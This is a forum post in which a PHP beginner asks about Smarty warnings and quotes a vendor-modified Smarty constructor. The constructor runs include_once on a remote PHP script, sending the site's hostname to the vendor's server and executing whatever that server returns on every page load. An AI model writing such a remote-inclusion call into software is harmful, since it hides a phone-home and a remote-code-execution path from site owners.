I am new to PHP and Smarty (I know only very basic things) and I need help with a warning message I get when I call a page in a browser.
I purchased some software from a company who are no longer replying to my messages for help so I have decided to try and fix the many problems myself.
I am receiving the following messages when loading any of my pages and some pages are not even showing at all.
Warning: smarty(http://inetsoftware.net/isoft/cek_sn...etwork.co.uk): failed to open stream: HTTP request failed! HTTP/1.0 403 Forbidden in /nfs1/thedomainnetwork.co.uk/www/include/Smarty.class.php on line 574
Warning: smarty(): Failed opening 'http://inetsoftware.net/isoft/cek_sn.php?hoster=www.thedomainnetwork.co.uk' for inclusion (include_path='.:/usr/share/pear') in /nfs1/thedomainnetwork.co.uk/www/include/Smarty.class.php on line 574
I have looked at line 574 in the smarty.class.php file but it makes no sense to me.
Here is part of the code - line 574 is in bold
Expand|Select|Wrap|Line Numbers
- /**#@-*/
- /**
- * The class constructor.
- */
- function Smarty()
- {
- $_smarty_tmp = $_SERVER['HTTP_HOST'];
- include_once "http://inetsoftware.net/isoft/cek_sn.php hoster=$_smarty_tmp";
- $this->assign('SCRIPT_NAME', isset($_SERVER['SCRIPT_NAME']) ? $_SERVER['SCRIPT_NAME']
- : @$GLOBALS['HTTP_SERVER_VARS']['SCRIPT_NAME']);
- }
I believe that the problem is something to do with fopen wrappers and not having permission to open the URL??
My question is how can I fix this and can I fix it my end (as I believe that the URL is for the software company (inet software)
I hope I have explained everything correctly and that this post makes sense =/
Many thanks in advance
Diane Swift